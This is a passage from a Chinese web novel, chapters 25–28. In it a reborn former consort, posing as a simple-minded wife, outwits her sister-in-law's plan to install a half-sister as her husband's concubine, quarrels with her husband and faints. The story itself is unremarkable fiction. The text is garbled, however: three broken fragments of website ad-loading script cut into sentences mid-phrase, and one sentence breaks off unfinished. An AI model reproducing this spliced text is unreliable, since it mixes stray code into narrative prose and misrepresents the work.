这话却又戳中了苏玉茹的心病。她的夫君宋汝琏,一向就抱怨她太精明太厉害,管他管的太多。他整天价往外跑是干什么,那不言而喻。苏玉茹是给大家留点脸面,才没有带着家丁,打到那外宅子里头去。 苏玉茹心头泛起一阵苦涩。一转眼嫁入宋府三年,她也就剩下手头这点管家权了,要是连这个都失去了…… 于是又迅速冷静下来,对着彩蝶吩咐道:“你去跑一趟,今日就把三小姐接过来。” 彩蝶点头答应:“三小姐染了这一场风寒,可真是不凑巧,不然早就进府了。” 苏玉茹冷笑一声:“现下也倒还不晚。那狐狸精再怎么折腾,只要没有圆房,在男人心里那就是蜻蜓点水,什么都不算。三丫头要是有本事抢了先,那还不就等于当着整个宋府的面,扇了她一个大嘴巴?” 彩蝶堆起笑脸逢迎:“二夫人说的是,论起智谋来,满府里也没有能赶上您一根头发尖的。” 这话虽夸张到肉麻的地步,受捧的人往往却不觉得,苏玉茹安之若素受落了,忽然又狐疑道:“三丫头得了势,不会干那忘恩负义的事吧……” 彩蝶换了副表情宽慰道:“您也不必太多虑了,她的娘在咱们夫人手里头捏着呢。” 25. 吃醋 苏玉茹的娘家庶妹苏玉兰,是在第二日的早晨,在两房媳妇一起给婆母谢氏敬早茶的时候,亮相的。 今日宋汝璋休沐,二人昨晚又谈的高兴,于是一大早特意到悲寥轩,接了薛灵儿过来,一起来谢氏这里,敬了个早茶。 谢氏也听下人们在私底下议论纷纷,说是长房的夫妇二人虽然没有圆房,但如今一天比一天亲热,尤其是最近,可以说是打的火热也不为过。就打昨天来说,一顿饭能从太阳西沉吃到掌灯时分,饭菜都冷成冰块了,还舍不得拆开。 谢氏房里的管事刘妈妈说到此处,意味深长的一笑,对谢氏说:“这人啊,您还不知道年轻时候那点事吗,这夫妇之道,就是将尝未尝的时候,最是勾人心思呢。” 谢氏当时就打了刘妈妈肩胛一下:“你这老婆子是失心疯了吧!我二十八岁守寡到现在,如何听得你这些风话?” 刘妈妈笑着走开,留谢氏独自一人,绷不住也笑了。 今早上一见儿子儿媳肩并着肩,一同走进来。谢氏一个忍不住,就想起了昨晚刘妈妈的话,脸上不知不觉柔和下来。 再一端详这小夫妻俩,儿子固然是她从小教养,君子风度,如圭如皋,不枉了名字中那一个“璋”字,就是单看这儿媳,虽然不尽如人意,并非大家淑女,但这些日子也不知怎么的,或许是随着丹阳县主交际高门显贵,耳濡目染,硬是熏出来了三分兰心蕙质般的雅气贵气。看上去与儿子,竟是十分登对。 谢氏看着看着,心中就是一喜,脸色更加和缓,待夫妇二人敬完茶各自落座,竟然对薛灵儿主动关怀道:“灵燕,你也进门这些日子了,哪里有不便之处便来告诉我。要是我瞧着,你那屋子窗纱该重新糊一糊了,挨着花园的水面,湿气重,褪色褪的快。” 薛灵儿赶忙起身,扬起笑脸答道:“多谢母亲关怀。那窗纱颜色我倒喜欢,浅碧色配着水景刚刚好,不必换了。” 谢氏见她眼神清澈明朗,脸颊丰盈透亮,如水蜜桃一般讨人喜欢,尤其应对之间,行止有度,对答如流,哪还有刚进门时候的半分痴傻样子,心里也是疑惑,莫非她宋家就是有福之门,风水格外养人,傻姑娘嫁进来,也能开了一份灵窍? 谢氏心中愈加的欢喜,罕见的婆婆妈妈一回:“那就给你添些应季的衣裳,眼看天就要转凉了,寻些又保暖又鲜亮的料子,你出门交际,看着也像样些。” 薛灵儿心里一股暖流涌出,这回更坐不住了,又站起身来谢了一回:“母亲如此关怀,儿媳生受了。” 谢氏露一丝微笑:“我让刘妈妈这就去办。” 薛灵儿重新坐下,感觉浑身都暖和了好几分。就是上辈子做贵妃的时候,被皇太后殷殷垂询,也没有这么热乎激动过,可见这人和人之间,缘法这个东西,不可不信。 宋汝璋坐在檀木椅上饮茶,一言未发,但看到母亲因为自己妻子欢喜,虽然只是名义夫妻,但也不伤大雅,无关大局,这不照样做到了承欢膝下,心里恨不得比婆媳二人加起来,还要更加欢喜。 他从小得母亲的期望和教养最多,这么多年也深深感佩,母亲年轻守寡,挑大梁支撑门户,可以说没有母亲,就没有他今日。但无奈,他这个人天生心直嘴硬,从来搞不明白怎么能讨到母亲的欢喜,为此苦恼了这么多年。 如今一看,他读了十几年圣贤书都做不到的事,痴傻的名义妻子轻轻松松做到了,佩服之余暗下决心,一定要好好报答她,要听故事就听故事,要做新衣裳就做新衣裳,总之就是要哄她高兴。 苏玉茹站在厅堂敞开的门外,手上扇着风,假作透气,稍微听了一会儿,一股怒气忍不住的就从脚底往上冲,她平日是非了多大的心思精力在讨好婆母,奈何这谢氏天生严肃寡欢,难得开个笑脸,什么时候见她这么眉花眼笑过? 再一看那大伯哥哥,平日一张木板面孔,拉得比谢氏还长,今日这个喜上眉梢的劲儿,别说娶了个名义上的傻媳妇,就是娶了真媳妇,怕也不过如此。忍不住就打量那年龄比她小上一截的嫂子,水蜜桃似的脸颊,清澈见底的眼神,全然一副漫无心机的样子。她苏玉茹可算见识到这种装纯狐狸精的厉害了。 当下回头看了身畔的苏玉兰一眼,轻轻咳嗽一声,苏玉兰也打醒了精神,姐妹二人微微提着裙摆,进入了厅堂。 薛灵儿感觉自己好久好久,都没有沉浸于这种一家人其乐融融,日常的天伦之乐了。许多许多年前,自己在安国公府的时候,便也和父亲母亲,经常这么坐在厅堂喝喝茶,说说笑笑…… 酸涩泪意刚要上涌,就见苏玉茹招招摇摇走进门来,手上帕子迎风拂动,这且不论,后面跟着一个穿淡粉红色衫裙的姑娘,对着谢氏,脸上堆起笑意:“母亲,这就是我说的娘家妹子,前些日子就说接她来逛逛的,结果偶感风寒,才算将养好了。” 苏玉兰含羞带笑,对谢母下拜,口中问安。外来是客,谢氏作为长辈和当家主母,自然是少见的和颜悦色,含笑招呼。 苏玉茹又引她跟宋汝璋、薛灵儿见礼,然后落座。 这个亲戚家姑娘突然来了府上,薛灵儿事先丝毫不知,但既然人已经露面,不由得她不心中生出疑窦。毕竟常言说,无事不登三宝殿。 于是冷眼旁观,这苏玉兰纤长身材,曲线玲珑,体态之中自带了妖娆之色,一张瓜子脸十分俏丽,单论姿色比苏玉茹强上许多,可以想见,苏府老一辈的这位妾,在正妻眼皮子底下,日子不会好过。 好在是行止算得端庄,自打进屋以来,在苏玉茹导引下,只与众人低头行礼,尤其在宋汝璋这外男面前,低眉敛目,并未抬头瞟上一眼,但薛灵儿一眼瞧见,她虽面色如常,露在衣领外的白皙脖颈,却透出一点粉色,登时心下了然。 在宫里头,这把戏可太寻常了。 只不过宫里头,大家争来争去,都只能围着那一个男人,如今的宋府,至少有兄弟两个可以做做文章。这苏玉茹打的一手好算盘,想把 几人各怀心事,各自饮茶之中,苏玉茹闲闲说道:“我这个妹子虽是庶出,却是从小得了我母亲教养,性情稳重,知书达理,理家管事,给我母亲也做过帮手的。这次接她进府,一半是为了病后散散心,一半也是让她帮帮我的手,母亲且看看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她的本领如何。” 一见苏玉茹眼角眉梢,皆是志在必得之色,薛灵儿真是不敢相信自己的眼。宫里头争名夺利,争宠邀宠的手段是多,但是也没有这么露骨的吧?这是把她这个长房少夫人公然的当成傻子吗? 谢氏显然也觉得苏玉茹做得太过分,太露骨,必须用话压一压,眼角余光瞟到长房儿媳薛灵儿,那神情,活像一只拱起背脊的猫,哪里有半分痴傻的样子? 能有个人像一根针一样,刺一刺她,也好,说不定能更快成事。不然她整天往外跑,也不知道什么时候,能把心思放在夫君身上,也是令人着急。 于是话到了谢氏嘴边,打了一个转,换了另一套表情和说辞:“既然是你看中的人,想必错不了,我也且看看这位玉兰姑娘的本事。” 苏玉茹先吃了一惊,往日里婆婆目光如炬,嘴上也是轻易不肯饶人,今日怎么这么好糊弄好说话? 薛灵儿一口气堵胸口,不过也就一霎那,倒也瞬间消散,毕竟前世在宫里,也不能指望婆婆主持公道,都是各人管各人,只能是靠自己。 苏玉兰也是一惊,原本嫡姐半提醒半警告过她,满宋府里算起来,这位婆母是最不好对付的人,怎么……这样和颜悦色,难道说进宋府为贵妾的事,老天会助她意外的顺利吗? 这么一想,苏玉兰腮边不知不觉也飞上了一层淡淡粉色,婉转一笑对谢氏说道:“在家也常听母亲说,老夫人治家是最严明有方的,因此您府上才兴旺发达到这样,玉兰若是有这个福气,能跟老夫人学点本事,才是终身受用不尽呢。” 薛灵儿在心里冷笑一声,老夫人固然功高,但是宋大人中状元,得了皇帝赏识,才是宋氏一族到如今地步的关键吧。 奈何好话人人爱听,谢氏的脸色果然又柔和了两分,并不完全出于客套了。 苏玉茹一看,自己的计策居然这么灵验,哪能不趁热打铁:“我妹子今年十七,要是得了母亲的提点,将来议亲的时候,也是说得出、叫得响的,谁不知道母亲的贤德之名?” 苏玉茹这话,是说给大伯哥哥宋汝璋听的。 现在满屋喝茶的人里头,长房少夫人是名义上的傻子,但家主宋汝璋是个真傻子。几个女子所打的机锋,明明是围绕着他转的,可是他好像浑然不知,喝着茶,眼光径自飘到了窗外。 苏玉茹这个话,便是说给他听的,还特意轻轻咳嗽了一声。 别说还倒真灵验。 适才从苏玉兰进门,到给他行礼,花朵儿般的待嫁闺秀,俏丽脸庞,粉红衫子,带着一身甜甜的香气,换了一般男子,还不得克制着才能不失礼?她夫君宋汝琏就是这副德性。 但这个大伯哥哥,一张木板面孔毫无波澜,寒凛凛的眼神也不曾有半分温度,哪里像一个血气方刚的壮年男子,就是八十岁老翁,也比他有活人气息。 好在经过苏玉茹的提醒,他总算把眼光从窗外转了回来,朝着苏玉兰,打量了一眼。 这一眼,在苏玉茹看来是不咸不淡,实在太没有温度,可是对于薛灵儿来说,却是腾的一下子,点起了心中的火。 26. 高枝 薛灵儿轻笑一声:“说起结亲的事来,人人都说我,结了一门天上掉下来的好亲事。都说这个宋大人啊,满京城的姑娘都想攀他,可惜他眼高于顶,连公主都攀不上。” 这话一出,满屋子的人都是一愣。 谢氏强自掩住唇角的笑意,她的想法对了,这个儿媳出手了。 苏玉茹一听这个话,满肚子狐疑不定。 单听这个话,是如假包换的傻子话。但凡心智正常的女子,没有这么说自己夫君的。但是这个长房嫂子,很久没这么说过话了,今天这是为什么? 苏玉兰听了这话,本能的就是一阵羞涩之意。她说的宋汝璋,正是嫡姐安排她此行的目标,连公主都攀不上的高山白雪,她一个五品文官家的庶女,能行吗……再一想,这话是从他夫人口内说出来的,情形更加尴尬,腮边一抹淡粉转成了红霞。 宋汝璋正在置身事外,悠闲喝茶,冷不防怎么话题就引到了自己身上,一下子就坐不住,站起身来就想离开,谁知刚迈了两步,走到薛灵儿身边,被她拉住了袖子:“大人你别走啊,我夸你呢,你要走也听完再走。” 她亮闪闪的大眼睛望住了宋汝璋不说,手上也加了劲,紧紧的拉住不放,他要再强扭着走,衣襟要裂个大口子,再一看,全屋的人都盯着他俩看,也不知怎么,耳廓就是一阵发烧,低声说道:“你快放手,我不走就是。” 声音带了点央求,语气比他平常说话的金石之声,显得软和了很多,薛灵儿心中大乐,总算整治住了他一回,于是开开心心缩回了手。 眼见宋大人这么刚直心肠的硬骨头,居然听了自己的指令调配,又转回了身,回到檀木椅上,如坐针毡地喝茶望窗外,薛灵儿几乎都要笑出声来,强自抑制了笑意,准备下一回合的唇枪舌剑。 二人这一番拉扯,薛灵儿眼角眉梢的笑意,在旁人看来这就是另一番味道,这两人,简直不就是不顾体面,当众调情吗?苏玉兰当时心里就打起了鼓。 原本嫡姐跟她说的挺容易,宋汝璋是个书呆子,木头人,于男女之情上没开过窍,被母亲谢氏所逼,阴差阳错娶了个痴傻姑娘,名义夫妻至今没有圆房。凭苏玉兰的俏丽容貌和理家本事,只要略施手段,哄住婆母谢氏和宋汝璋,都是易如反掌。 如今短短的一会儿功夫,瞎子都看得出来,宋汝璋对这个痴傻夫人很宠,很迁就,这还是没圆房,万一哪天要是圆了房,还能有别人的事? 哪里像嫡姐说的那么容易? 心里正打起了退堂鼓,那痴傻的长房少夫人,又仰起水蜜桃一样润泽的脸庞,春花初绽似的笑着说道:“刚才我说,宋大人结亲,连公主他都不愿意,也不知道为什么和我成了婚,大家都说,是我攀了高枝。我后来一想,我娘给我取名字叫灵燕,也许天生注定要飞上高枝的。” 这话谁也不知道怎么接,没有人会这么说自己的,因此都把视线微微转开,装作没听见。 薛灵儿却不打算放过大家,专门点了名让人陪她聊天:“玉兰姐姐,你说是不是,会取名字可是个学问呢,我看你娘也很会取名字,玉兰花树我见过,树干笔直笔直的,花朵又大又艳丽,也是在高高的枝头上的……不对呀,玉兰是花,不是鸟,长在哪里就在哪里了,好像飞不上去呢。” 这番话下来,听得谢氏心头那叫一个舒畅,又一番强自抑制了笑意。自己打的主意果然没错,已经开始可以琢磨一下,长房孙子孙女的虎头鞋用哪一种绣工了。 苏玉茹听完,反倒放下了心。果然,这傻嫂子从来也没真傻过,一直都是在装傻,扮猪吃老虎,只不知道在娘家这些年,是怎么骗过众人的。既然这样,就打醒精神来,斗吧,看看到底谁厉害。 一看自己的庶妹苏玉兰,被这番如针一般尖利的话刺下来,羞恼得耳边赭红,一个不留神就要落下泪来,心头快速一转,盘算着自己该如何应对。 刚才这番话,但凡出自一个心智正常的人之口,那是必须要给庶妹撑腰,当场发作讨个说法的,俗话说,打狗还得看主人呢。 唯独是因为这傻嫂子打了一个痴傻的旗号,而且说攀高枝儿的时候,把自己放在了前头,这倒不好发作,只能也装个傻,暂且混过去,日后再找回来。 当下一咬牙,强忍恨意,几步走过去,涂了鲜艳蔻丹的纤纤玉手攀住了苏玉兰的肩,轻轻摇晃两下以示安抚,强颜欢笑打圆场:“妹子你刚来,还不知晓家里人的性情,你这位长房嫂嫂,待人最是和气,全家人都喜欢她,只是说话风趣了一些,习惯了就好了。” 苏玉兰一看嫡姐的脸色,恨意在眼角眉梢恨不能溢了出来,也明白她是要自己忍住气,从长计议,于是深深吸一口气,也强堆起一个笑脸:“薛氏嫂嫂如此好命,玉兰真是好生羡慕。” 薛灵儿看这两姐妹生生咽下了这口闷气,吃了这个哑巴亏,心中那一份得意畅快,又非刚才可比。 甚至回想起前世,自己身为后宫第一宠妃协理六宫,各宫嫔妃在自己面前,大气都不敢出,但比之现在,她本是个人人得而欺之的痴傻姑娘,能利用一个痴傻的旗号,和名义婆母夫君的宠爱,把居心叵测、欺上门来的敌人当场气晕,似乎还是后者,更加舒爽,解气,痛快。 可惜在场之人,谁也没料到,苏氏姐妹忍了气,宋大人却生了怒气。 就见他咣当一声,把茶碗往桌子上一顿,原本就气场冷淡,周身散发着寒气,此刻越发的寒气迫人,众人正不知他意欲何为,又见他起身来到薛灵儿面前,把她衣袖一拉:“你跟我来。” 他身形高大,薛灵儿的娇小玲珑身子被遮了个严实,堂内众人谁也没看清,薛灵儿是自己起身的,还是被他从椅子上扯起来拉着走的,总之长房夫妻俩一阵风似的,消失在众人面前。 苏玉茹苏玉兰两姐妹,莫名松了口气,今日的战斗到此为止,明天再战。谢氏面上波澜不惊,心中喜意却越发浓厚。 这个儿子她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了解,虽然性情刚直倔强,却分寸感极好,从来不管他人闲事,加上自幼修养君子之道,轻易不动喜怒。今日这样容易便生了怒气,说明把这个女子真正放在心上,当成自家极为重要之人了。 薛灵儿被宋汝璋从椅子上拉着起身,出了婆母厅堂的门,眼见宋汝璋行走如风,一路拉着她的衣袖,转眼来到了自己的悲寥轩门前,心中的怒气,比宋汝璋还大。 她到底是在生谁的气,是生宋大人的气更多,还是生宋大人的气更多,她自己分不清楚。 他把她从椅子上拉起来,倒并不是强拉硬拽,而是薛灵儿不由自主地,跟着他起身走的。 她只知道宋汝璋这个人冷淡,万事不萦于心,却从没见过他动怒是什么样子,今日他一动怒,她竟然……怕了。 想到此处,薛灵儿更怒。 前世,她爹是安国公薛怀义,一动天下震,威名震九州,在她任性妄为的时候,也经常朝着她吹胡子瞪眼,可是她从来没怕过。 她夫君是当朝天子,九五至尊,虽说气度温润如玉,寻常不带半分火气,可终究也有雷霆一怒,杯盏碎裂的时候,那时候满宫的人一齐跪下,半口气都不敢喘。可是她没怕过。 如今宋大人区区一个臣子书生,一发怒气,她居然怕了,实在是没有来由。 正在心里糊涂着想不清楚,宋大人开腔了:“远来是客,你实在不该说出那番话。” 薛灵儿这才想起来宋大人是为何动怒,原来是为了苏玉兰,这下怒上加怒,耳根子都烧红了:“你居然护着她?” 薛灵儿这反应,宋汝璋也是一个发懵,没想到。 他经年不会发作怒气,只要一发作,向来是师出有名,占了百分之百的理。 对方往往是慌张道歉,各种追加解释,谁想到眼前这个小姑娘,为他一句话,面红耳赤地质问他。 本该继续责问她,也不知道怎么回事,他这话到嘴边就走了样:“不是帮谁,我是帮理不帮亲。” 话一出口,还未落地,他自己也觉出来不对,怎么他成了急于解释的那个人,还没等想明白,薛灵儿更加炸了毛:“你帮理不帮亲?她有什么理?你说来我听听,这个苏玉兰进府,是特意来算计你的,你看不出来?” 这……宋汝璋愣了一下,他倒确实是没太看出来。或者说,他不关心,这不重要。这些年以来,算计他的女子何止一个两个,那一年都有府里野心大的丫鬟鬼迷心窍,铤而走险,这不,都被打发了出去,而他,毫发无损。 但这话,也不方便讲,薛灵儿在他眼里,始终是他那早夭的小妹子,七岁孩童。 这也不能讲,那也不能讲,能讲的就剩下大道理了。 于是他清清喉咙,侃侃而谈:“灵燕,做人是论迹不论心,论心无完人,今日初次谋面,远来是客,应当以礼相待。” 这话不说还可,一说,薛灵儿活像一只被激怒到极致的猫,浑身的毛都炸开了。 27. 无理取闹 薛灵儿浑身的毛都炸开了,恨声说道:“好一个论迹不论心,依你的意思,是我多管闲事了?” 宋汝璋一想,也不能这么说。假若那二房的亲戚真是意在长房,薛灵儿是长房少夫人,虽然是名义上的,但名义上的少夫人也是少夫人,自己的地盘,当然不容别人插手,跟朝堂官场一样。 这真不叫多管闲事。 于是声音不由自主地柔和下来:“没说你多管闲事,只是,做人要以礼义为先,就算是对付敌人,有时候也需先礼后兵。” 这话也不算歹意,奈何薛灵儿听不进去,她爹安国公,告诉她“慈不掌兵”,对敌人的仁慈就是对自己的残忍,于是,她觉得,宋大人就是在偏帮苏玉兰,宁可损伤她,不愿意委屈苏玉兰。 于是继续发作:“你就是帮她,宁可我受委屈,也不愿她受委屈,是吧?” 宋汝璋反应了一霎那,才明白这个“她”,是二房刚来那个亲戚,名字他也没太记住,长什么样子也没太看清,怎么就被揪住不放,派上了罪名? 他生平最怕有理说不清,于是也平添了一份烦躁,皱了眉:“你说的这人我根本不认得,纯粹就是帮理不帮亲,你把话扯的太远了。” 此时从远处赶过来两个人,正是把主子跟丢了的秋香和流云。 秋香从老夫人房里一路追出来,追赶得气喘吁吁,在外守候的流云本来在看蚂蚁打架,回过神来才发现主子夫妇一阵风似的走远了,拔腿就追,和秋香走在了一路。 二人走到近前才发现两个主子站在门口,居然是在吵架,吵的还有声有色,面红耳赤。 流云忍不住心内大发感慨。他自留头之日起就服侍宋汝璋,而宋汝璋从少年时候起就比大人还稳重许多,何曾跟人交过一句恶言恶语?但凡道不同者,冷冷瞟上一眼,转身离开,绝不多费一句话。今日这是所为何来? 秋香也看懵了。三小姐在娘家的时候她并不熟悉,却也知道是个没娘的可怜傻姑娘,但凡有眼前这一分的血性气性,那会落得人人得而欺之。 二人各怀心思,默契的对视一眼,同时决定,非必要不劝架,先听上一会儿,再说。 薛灵儿往前一望,隐约知道有两人闯到近旁,却又不是外人,干脆也顾不上理,只管让勃发的怒气朝着对方继续倾泻。 “大人也别说认识不认识的话,不认识的人,你也能放在心上,天天在你眼前的人,你也不一定在意。反正我记住大人教训我的话,以后再也不管大人的闲事了。” 宋汝璋眨着眼,半晌才会过意来,她指的是自己玉门关上那段少年往事。 这可过分了。 本就凛冽的眼神瞬间降到冰点,浑身冒出来的寒气犹如一座冰川:“你记住,我待你好,不是为了让你学会无理取闹。” 宋汝璋掷地有声地说完,也不顾薛灵儿的反应,不容薛灵儿再说话,一转身迈开长腿,头也不回,自顾自走远了。 本是为了一个居心不良的外来亲戚吵架,却攀扯到了那位白月光,薛灵儿话一出口,便已经后悔,只是覆水难收。这平日冷冰冰无喜无怒的君子,果然大动肝火,转身离去,扔下薛灵儿不知所措,站在原地,只身子摇晃了一下,又强自撑住。 流云一看,两位主子竟然吵翻了,也顾不上别的,追着宋汝璋也走远了,留下秋香独自一人,来劝慰薛灵儿。 再一看主子的神情,忍不住吓了一跳,眼前的人儿如同一座火山一般,这可怎么办,硬着头皮劝道:“小姐别太往心里去,大人说的,都是话赶话的气话,回屋歇息去吧,别大日头底下晒着了。” 秋香本是套路话,随大流的一劝,谁知薛灵儿又炸了毛:“那叫话赶话?他说我无理取闹!我活到这么大,我什么时候无理取闹过?谁人这样大胆,敢说我无理取闹?” 秋香又听得发懵。 三小姐在娘家是受气包,各色人等都可以拿来出气的,是从来没有无理取闹过。别说无理取闹,有理她也闹不起来,无人撑腰,无人搭理,受了天大的委屈,除了默默吞下,又能如何?如今这是怎么个情况?被宋大人宠了几日疼了几日,人的想法可以变这么快吗? 薛灵儿说出这番话,却是因为怒气上升,浑然忘了自己痴傻庶女的身份,光是想到前世的事情了。 她是安国公薛怀义之女,她少年时候在边关骑过马,玩过鹰,为浴血奋战的将士们治过伤,送过军粮。 后来进宫侍奉君王,郑皇后体弱,她执掌协理六宫大权,杀伐决断,赏罚分明,任何人都挑不出一点错。 就是皇帝、皇后、父亲安国公,何人敢说她一句无理取闹? 秋香一看,自己的劝慰好像适得其反,三小姐的大眼睛里饱含着泪意,眼珠仿佛都要被烧红了,少不得硬着头皮继续劝:“三小姐,男人说女人一句无理取闹,也不是什么大不了的事,天底下夫妻两口子吵架,都是这样。男人只要烦躁了,就说女人无理取闹。这要是非得往心里去,家家户户的日子都不用过了。” 秋香说的是肺腑之言,小的时候,她爹恨不得天天说她娘无理取闹,她娘就跟没听见一样。 但薛灵儿在大太阳底下晒了半天,头脑发涨,听不懂什么男人女人,夫妻两口子,心说自己和宋大人,顶多算是兄妹之情,怎么能以夫妻两口子而论? 于是开口说道:“那不行,我必须得跟他论出一个是非曲直……”话音未落,身子摇晃,就要栽倒,秋香连忙搀扶住,看她面色发白,额上冒汗,失声喊了院子外的二等仆妇进来,请大夫的请大夫,奉茶的奉茶,乱成一团。 薛灵儿在被仆妇们搀扶进屋之前,还来得及狠狠摔了一个装茶的盖碗。 流云是何等样的伶俐人儿,在陪宋大人回灵犀阁的路上,一看主子罕见的动了大怒,瓷白的面色都略微发了青,赶紧就好言相劝:“大人别动真气,夫人说的也没错,也就是让你多重视她而已,这不正说明,她心里很重视大人吗?” 宋汝璋回想一下刚才的情景,薛灵儿大眼睛含着泪意,也是动了真气的样子,心里一软,气也平了些,但依旧坚持自己的主张:“无论如何,远来是客,她该以礼相待,我不过说她两句,她不该无理取闹。” 流云见自家主子 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 语气软和下来,不像以前那样油盐不进,心说这男人娶了妻子成了家就是不一样,哪怕是个名义的,痴傻的,也是比没有强,心中一喜,更加循循善诱地劝导。 “不是我说,您也太不懂得女人的心思了。但凡是女人对谁无理取闹,那就是对谁动了心了。您看夫人平日那么通情达理的人,对待我们下人也是最和气不过的,什么时候对我们无理取闹过?” 想想薛灵儿平日里做事,确实是一个惹的宋汝璋忍不住一笑:“你个毛头小子,你又知道些什么了,平白的还来教训我。” 忽然这个笑意凝在了脸上,他想起了那人…… 盛夏艳阳,宫苑里,芍药花盛开。 芍药花自有一股妩媚迷人的脂粉香气,被风吹送,远远的传到御花园的水阁,那银铃似的笑声,如同玉门关外第一次听到的一样,这么多年都没变过,隐隐的随着花香一起传来,刚听到点声息,仿佛又隐在夏日的蝉声里,消散了。 她和他之间的距离,已经比当初的大漠黄沙还要远。那时候他刚中了状元不久,是翰林院新晋的编修,能走到这里,已经是僭越。 令他没想到的是,今日皇帝居然额外开恩,许他走入御花园的芍药栏旁边,近身禀告编纂图书的进度。 作为臣子,他自然懂得这是禁苑,因此俯下腰,低下头,眼观鼻,鼻观心,眼光只盯着自己的鞋面,不敢越雷池一步。 但千不合,万不合,御花园日日整修的平坦小径上,一粒石子凸出了地面,于是以端方谨肃出名的宋状元,素日的方正步伐,趔趄了一下。 虽是立刻稳住了身形,调正了姿态,但不该脱出框架的那一眼,还是如同断了线的风筝一样,准确无误,飞向了风所指引的方向。 那人身着艳丽红装,头上凤钗摇颤,垂坠着明珠,因有外臣入内,以半透明的屏风遮挡,上面的花鸟图遮挡了大部分的身形脸面,但如同那人一贯任性妄为的性子,还是执着地放肆地,要露出一个剪影。 宋汝璋的这一眼,仅仅只看到了半透明的屏风,面上的这一个余影,只觉那明艳逼人之气,仿佛不安分的要张扬肆意,要四处流淌。 适才来时,满园灼灼盛开的花朵,此时尽皆失色。 一时也说不清是甜是苦,好在他自幼的修身养气功夫,非同一般,面不改色,一字不错,跟皇帝禀报完了编纂图书的事宜。 辞别君上之后,依旧迈着方正步伐,在内监导引下,目不斜视,循规蹈矩,转身就要离开这禁苑, 在离开的最后一霎那,听得那屏风后面一声软语,那语气似乎是在抱怨,宋汝璋听到君上一声轻笑:“你就是爱无理取闹。” 也不知为什么,这四个字如同一声轻雷,钻入了宋汝璋体内,他忽然停步,动弹不得。 内监察觉身后之人停了步,感到奇怪,转身问:“宋大人,怎么了?”宋汝璋拼尽全力,全身的骨骼能动了,他重新迈起方正的步伐,笑了一下:“没什么。” 宋汝璋那日入宫朝见君上之后,回家面色青白,昏睡了许久,谢氏担忧不已,求医问药好几日,才算见好。 28. 探病 流云自顾自兴致盎然地,宣讲自己关于夫妇之道的道听途说,忽然留意到,身边的宋大人没了声息。 稍一打量,他那本就幽深如寒潭的眼神,格外的黑不见底,看的自信满满的流云忽然心里发慌:“主子,我是不是说错了什么话了?” 宋大人的心绪仿佛从某个遥远的地方刚刚回来,对流云笑一下:“没有,你说的对,女子无理取闹,就是动了情。” 流云罕见的看到宋大人唇角边展露了一丝笑意,可是这个笑格外的恍惚,像天边的云一样飘忽,看得流云心里也忽上忽下恍惚不安。 主仆俩说着话,回到灵犀阁的水榭,刚刚坐定,宋大人只来得及喝下一杯宁神养气的枫露茶,外头就有仆从飞跑着来报,夫人晕倒了。 宋大人脸色一凛,片刻也没耽搁,放下茶杯,披上外袍,迈开长腿就奔了刚刚回来的路,边走边问那仆从:“府医可赶到了吗?” 仆人连声答应着,二人几步就出了院落。流云虽然对宋大人此时的表现还算满意,但依旧用白眼对着他的背影表达了无声的谴责,然后才跟了去。 —— 二房的掌家夫人苏玉茹房里。 苏玉茹换了家常宽松的花罗衫子,坐在炕上,靠着最舒服的一张弹墨素缎靠垫上,闭目养着神。 苏玉兰坐在下首,面前炕桌上,放一个小小的柳条枝编的果篮,外加一个用纤长的指甲手剥着山里庄子刚进贡来的新鲜野榛子。 这活计相当费力,就是丫鬟,往往也要用一个小银剪子,只是那样,果仁容易剪破,鲜味就差了很多,苏玉兰从小就自愿这么服侍嫡姐。 眼下也是,苏玉兰就这么垂着眼,手上费力服侍着嫡姐,一脸温柔乖顺的模样,跟小时候没甚分别,苏玉茹微微张开眼,心中感到一阵安适。 正在这时,苏玉兰慢声细语开了腔:“姐姐,要不算了。你一片苦心为我好,只是……我怕我没那么大的福气,那薛氏嫂子,只怕不是个好相与的。” 苏玉茹想起早上敬茶的情景,自己过于的轻敌,导致对方给了一个下马威,这庶妹还没等着施展手段,就挨了这当头一棒,究竟是个闺门之女,也难怪她胆怯后退。 原本自己是想留着一手,冷眼旁观一阵,观一观这庶妹究竟有多大本事,可如今,少不得要尽自己手上的权力,帮一帮手,于是耐下性子劝。 “那薛氏的路数,实在是有几分怪异,连我也看不明白她。不过有一点,她心思不在这宋府内,整天价往外跑,听说连靖亲王府上的丹阳县主都结交上了,跟京城权贵之家,打得火热,单凭这一样,便是于我们有利。” 苏玉茹见苏玉兰双眸微动,只垂了头不言语,手上活计不停,又继续劝。 “俗语说得好,富贵险中求,女儿家生到这世上来,全看嫁个什么男人,嫁得什么人,你便过什么样的日子。你若没有几分胆色,怎能攀得上那样的男子?就说他这正房夫人,出身也不比你高,凭什么她行,你就不行?你若入了他的房,这宋府还不就捏在咱姐妹手里?” 这几句话下来,苏玉兰终于眼神发亮,露一丝含羞带怯的笑意,慢慢点了点头。 其实她为人少年老成,想好了要走的路,并不会轻易退缩,只是之前,她看出来嫡姐想要隔岸观火,因此借着今天早上的事以退为进,要她承诺帮手。 苏玉茹一见自己劝说有力,畅快地笑了:“这就对了,有我呢,怕什么。” 管家三年,她自然知道有几个野心大的丫鬟闯过宋汝璋的房,都被发落了出去,不过那都是单打独斗的蛮干,自然不会有好下场,现在有她掌家少夫人亲自下场,整个宋府都捏在她手里,还有什么事,是不能成的? 舒一口气,觉得口干,便喊大丫鬟递茶。彩蝶应声进来,把茶递上,附耳低声说道:“二夫人,胡妈妈来报,长房少夫人,晕倒了。” 苏玉茹来不及喝茶,一扬眉毛:“叫她进来。” 胡妈妈是悲寥轩外院洒扫的婆子,一向就是苏玉茹的耳报神,把长房家主和痴傻的少夫人今日上午这一场大吵大闹,原原本本,一字不漏地,讲了一遍。 苏氏姐妹慢条斯理喝着茶,留神听完,苏玉茹扬扬玉手,彩蝶给了胡妈妈一吊钱,二人离去,苏氏姐妹对视了一眼,眼中均有喜色。 这喜色还不足以表达苏玉茹内心的兴奋,又补充一番。 